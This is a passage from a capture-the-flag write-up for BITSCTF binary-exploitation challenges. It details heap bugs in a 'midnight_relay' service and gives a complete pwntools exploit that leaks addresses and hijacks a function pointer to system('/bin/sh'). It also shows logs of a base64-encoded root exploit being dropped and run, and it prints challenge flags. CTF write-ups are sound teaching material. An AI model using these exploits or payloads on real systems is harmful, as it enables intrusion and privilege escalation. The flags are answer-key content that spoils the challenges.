goto LABEL_6;
goto LABEL_16;
}

If the checksum is correct, it updates the epoch:

main
...
epoch ^= (cmd << 9) | 0x5F;

With the checksum bypassed, we can look at the command operations inside the loop. The 0x11 (forge) command caught my eye.

main
case 0x11u: // Forge
if ( v7 > 3u )
{
v14 = *(_WORD *)(payload + 1);
v15 = payload[3];
if ( (unsigned __int16)(v14 - 128) <= 0x4A0u && !*((_QWORD *)&slots + 2 * (*payload & 0xF)) )
{
v40 = *payload & 0xF;
v39 = payload[3];
if ( v14 >= v15 && v7 >= (unsigned __int16)(v15 + 4) )
{
v16 = v14;
v38 = *(_WORD *)(payload + 1);
v17 = (char *)calloc(1u, v14 + 32LL); // Vulnerability
v18 = (char *)&slots + 16 * v40;
*(_QWORD *)v18 = v17;
if ( !v17 )
goto LABEL_58;
qmemcpy(v17, payload + 4, v39);
v18[10] = 0;
v19 = (__int64 *)&v17[v16]; // Metadata offset
*((_WORD *)v18 + 4) = v38;
v20 = (unsigned int)rand();
v21 = rand();
v19[2] = (__int64)v17; // m2 = heap ptr
v22 = v21 ^ (unsigned __int64)(v20 << 32);
v23 = *(_QWORD *)&cookie ^ ((unsigned __int64)v19 >> 12) ^ 0x48454C494F5300FFLL;
v19[3] = v22; // m3 = rand
*v19 = v23; // m0 = cookie ^ ...
v19[1] = v22 ^ v23 ^ (unsigned __int64)idle ^ ((unsigned __int64)v19 >> 13); // m1
goto LABEL_28;
}
}
}

When allocating a new slot, the binary uses calloc(1, size + 32) but internally processes the main data length tracking at size. At the very end of the chunk (&v17[v16]), the binary stores obfuscated metadata utilizing variables such as the secret cookie and the internal static address of idle.

Because of how it aligns memory, we can interact with that metadata via the 0x22 and 0x33 observe and tune commands.

Vulnerabilities

There are two critical vulnerabilities in the binary:

1. Out-of-Bounds Read and Write

When processing the 0x22 (tune) or 0x33 (observe) commands, the binary uses the same bounding check:

0x33 (Observe)
case 0x33u:
if ( v7 > 4u )
{
v31 = (char *)&slots + 16 * (*payload & 0xF);
if ( *(_QWORD *)v31 )
{
v32 = *(unsigned __int16 *)(payload + 1); // User offset
if ( (unsigned __int16)(*((_WORD *)v31 + 4) + 32) >= (unsigned __int16)(v32 + *(_WORD *)(payload + 3)) )
{
write(1, (const void *)(*(_QWORD *)v31 + v32), *(unsigned __int16 *)(payload + 3));
goto LABEL_28;
}
}
}

Because the bounds check literally includes the + 32 bytes allocated for the metadata region at the end, providing offsets up to size + 32 will natively be validated as healthy boundaries! We can directly Read from or Write to the metadata obfuscation blocks!

2. Use-After-Free (UAF)

The 0x44 (shred) command operates lazily:

0x44 (Shred)
if ( header.op == 68 ) // 'D'
{
if ( v7 )
{
v36 = (void **)((char *)&slots + 16 * (*payload & 0xF));
if ( *v36 )
{
free(*v36);
*((_BYTE *)v36 + 10) = 0; // set in_use = 0
goto LABEL_28;
}
}
}

It calls free() but fails to null out the pointer in the slots array (*v36). It only sets an in_use flag (offset 10) to 0. Since the 0x33 (Observe) read routine completely ignores the in_use flag checking only if the pointer is non-null (if ( *(_QWORD *)v31 )), we have an unmitigated UAF.

Exploit Strategy

We can chain these directly into Remote Code Execution.

The path to a shell requires leaking the internal state, leaking libc, and finally hijacking the function pointer evaluation.

1. Metadata Leak for Cookies and PIE Bypass

First, we allocate a small chunk of exactly 128 bytes and initialize it with the string /bin/sh\x00. Using the Out-of-Bounds Read via the 0x33 (Observe) command, we ask to read past the 128 bytes to dump the 32-byte metadata block situated at the end. This block contains the obfuscated tracking variables (m0, m1, m2, m3).

By mathematically reversing the XOR operations detailed in the decompilation, we can extract the plain constants:

Reversing Metadata
meta_addr = m2 + 128
cookie = m0 ^ (meta_addr >> 12) ^ 0x48454C494F5300FF
idle = m1 ^ m3 ^ m0 ^ (meta_addr >> 13)
pie_base = idle - 0x17b0

Not only do we recover the secret /dev/urandom cookie, but calculating the difference from the idle function address successfully neutralizes the PIE Base layout.

2. Glibc Unsorted Bin Leak via UAF

With the PIE mitigated, we need the libc memory map base address. Thanks to the unstructured free() call (UAF), we can push glibc into revealing it.

We allocate a large chunk (e.g., 1200 bytes, which exceeds the tcache bounds, > 0x410), followed by a small 128-byte allocation to prevent the large chunk from consolidating backward into the top chunk.

When we free the large 1200-byte chunk, Glibc tosses it into the unsorted bin. According to heap management rules, the freed chunk’s fd and bk pointers are populated with main_arena->top locations that reside inside libc!

If we try to read these pointers back, however, the server processes our command packet using calloc(), which carves a small slice directly out of our freed 1200-byte unsorted bin chunk! This pushes the fd/bk pointers exactly 32 bytes forward (0x20 offset). We simply use the 0x33 (Observe) command on the freed chunk at an offset of 32 to read 16 bytes. That completely leaks the main_arena pointers, from which we can statically calculate the libc base for Ubuntu 24.04 (glibc 2.39).

3. Execution Call Hijacking via 0x66 (Fire)

Finally, the 0x66 (Fire) command decrypts a function pointer mapped from the m1 metadata component and executes it:

0x66 (Fire)
...
v29 = *(_QWORD *)(v27 + 24) ^ *(_QWORD *)(v27 + 8) ^ *(_QWORD *)v27;
((void (__fastcall *)(__int64, __int64, __int64, __int64, __int64))(v29 ^ (v27 >> 13)))(
v26, // Chunk mapping pointer
0x48454C494F5300FFLL, // constant
v29, // evaluation state
v28, // evaluation state
v6); // epoch state

If we isolate the target function pointer extraction math, it generates:

Evaluated logic
func_addr = (m3 ^ m1 ^ m0) ^ (meta_addr >> 13);

Since we have an Out-of-Bounds Write via the 0x22 (Tune) command, we can arbitrarily rewrite m1 deep in the chunk’s metadata! Using the leaked addresses, we re-encrypt m1 such that func_addr flawlessly mathematically reconstructs into libc.sym["system"].

Before it performs the actual execution, it validates the channel sync against expected (0x55 command sync). We simply pre-calculate it and supply it:

expected = (m3 ^ m0 ^ epoch) & 0xFFFFFFFF

When 0x66 triggers, system is called. The first argument passed (v26) is natively identical to the chunk content pointer. Because we strategically wrote /bin/sh\x00 at the very front of our slot during step 1, it successfully triggers a system("/bin/sh\x00") shell.

Here is the final exploit script:

solve.py
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug(
[exe] + argv, gdbscript=gdbscript, env={"SHELL": "/bin/bash"}, *a, **kw
)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
def sl(data):
p.sendline(data)
def sla(after, data):
p.sendlineafter(after, data)
def s(data):
p.send(data)
def sa(after, data):
p.sendafter(after, data)
def calc_chksum(payload):
global epoch
val = epoch
for b in payload:
val = ((val * 8) & 0xFFFFFFFF) ^ (val >> 2) ^ b ^ 0x71
return val & 0xFF
def update_epoch(cmd):
global epoch
epoch ^= (cmd << 9) | 0x5F
epoch &= 0xFFFFFFFF
def send_cmd(cmd, payload):
chksum = calc_chksum(payload)
hdr = bytes([cmd, chksum]) + len(payload).to_bytes(2, "little")
update_epoch(cmd)
p.send(hdr + payload)
gdbscript = """
init-gef
continue
""".format(**locals())
exe = "./midnight_relay"
elf = context.binary = ELF(exe, checksec=False)
context.terminal = [
"zellij",
"action",
"new-pane",
"-d",
"right",
"-c",
"--",
"bash",
"-c",
]
p = start()
libc = ELF("./libc.so.6", checksec=False)
context.log_level = "info"
epoch = 0x6B1D5A93
p.recvuntil(b"midnight-relay\n")
# 1. Allocate a slot with /bin/sh
payload = bytes([0]) + (128).to_bytes(2, "little") + bytes([8]) + b"/bin/sh\x00"
send_cmd(0x11, payload)
# 2. Out-of-bounds Read to leak metadata
payload = bytes([0]) + (128).to_bytes(2, "little") + (32).to_bytes(2, "little")
send_cmd(0x33, payload)
meta = p.recv(32)
m0, m1, m2, m3 = struct.unpack("<QQQQ", meta)
meta_addr = m2 + 128
cookie = m0 ^ (meta_addr >> 12) ^ 0x48454C494F5300FF
idle = m1 ^ m3 ^ m0 ^ (meta_addr >> 13)
pie_base = idle - 0x17B0
print(f"[+] Cookie leaked: {hex(cookie)}")
print(f"[+] PIE Base: {hex(pie_base)}")
# 3. Leak libc via UAF using the unsorted bin
payload = bytes([1]) + (1200).to_bytes(2, "little") + bytes([8]) + b"AAAAAAAA"
send_cmd(0x11, payload)
# Prevent consolidation
payload = bytes([2]) + (128).to_bytes(2, "little") + bytes([8]) + b"BBBBBBBB"
send_cmd(0x11, payload)
# Free chunk 1, it enters the unsorted bin
payload = bytes([1])
send_cmd(0x44, payload)
# Read the freed chunk from offset 32 to leak main_arena
# (because the 5-byte payload for this command is calloc'd from the same chunk, shifting the unsorted bin pointers by 0x20)
payload = bytes([1]) + (32).to_bytes(2, "little") + (16).to_bytes(2, "little")
send_cmd(0x33, payload)
heap_leak = p.recv(16)
fd, bk = struct.unpack("<QQ", heap_leak)
# Calculate libc base for Ubuntu 24.04 glibc
libc.address = fd - 0x203B20
print(f"[+] Libc Base: {hex(libc.address)}")
# 4. Out-of-bounds Write to overwrite function pointer to system()
func = libc.sym["system"]
v29 = func ^ (meta_addr >> 13)
new_m1 = v29 ^ m3 ^ m0
payload = (
bytes([0])
+ (128).to_bytes(2, "little")
+ (32).to_bytes(2, "little")
+ struct.pack("<QQQQ", m0, new_m1, m2, m3)
)
send_cmd(0x22, payload)
# 5. Update chunk status to in_use = 1 (State Pivot point via 0x55 Sync)
expected = (m3 ^ m0 ^ epoch) & 0xFFFFFFFF
payload = bytes([0]) + struct.pack("<I", expected)
send_cmd(0x55, payload)
# 6. Trigger Execution (Fire!)
payload = bytes([0])
send_cmd(0x66, payload)
p.sendline(b"cat flag.txt")
print(p.recvline(timeout=1).decode().strip())
p.interactive()
Terminal window
python solve.py REMOTE 20.193.149.152 1338
[+] Opening connection to 20.193.149.152 on port 1338: Done
[+] Libc Base: 0x77a571d45000
BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}
BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}

Promotion

Description

You just got promoted by your boss! What’s the first thing you’re doing?

nc 20.193.149.152 1337

Terminal window
python solve.py 20.193.149.152 1337
...
/tmp $ echo -n "TSoBEps8R1aD2+4AKZyh1sXTX4ZGBy/d4gzgHs4AhbwBiu5/1+uiKdzwNyWlhsf6
NPsgY9J13mdlKfjl/qxn/O+kj/B6KgZ+oeCXzyensn7c+rcxnHzeHv6OpjTcrqDXKt8zKPgLGH8B42+7
Dv98+hQ+zD/8fcw4NUblX8bOOPI+h753OX9keq1ivJ+9I5P55fcH+38k/9+y/cv88vN+7/y4MBhV/w0K
/mOM/9h11pdho4Jffs8hMv7M6+jfruAfej6Vw1j1w/HnZ7KG+Nk5Po0dGJsWKhgUBtnG1lf6Web/1Sjx
GzuqR8hLwvi3jxteNidm37JdxoyQI9R+Zmls1Pxw/qSPwr+KfSf376+Tf/8JltDPaXhXAAA=" >> exp
l.b64
/tmp $ base64 -d expl.b64 > expl.gz
/tmp $ gunzip expl.gz
/tmp $ chmod +x expl
/tmp $ ./expl
[+] Got root! Executing shell...
/bin/sh: can't access tty; job control turned off
/tmp # $ cat /dev/sda
cat /dev/sda
BITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
BITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...}

Mind The Gap

Description

The old transit maps used to be reliable, but recent infrastructure upgrades have created vast voids between sectors. You will need to find a new way to reach your target. Please, mind the gap.

Instancer: http://chals.bitskrieg.in/

Terminal window
python solve.py REMOTE chals.bitskrieg.in 47564
[+] Opening connection to chals.bitskrieg.in on port 47564: Done
Libc base: 0x7f636177a000
[*] Loaded 111 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
BITSCTF{1659950decfdbe6c522c4f5537778b80}
BITSCTF{1659950decfdbe6c522c4f5537778b80}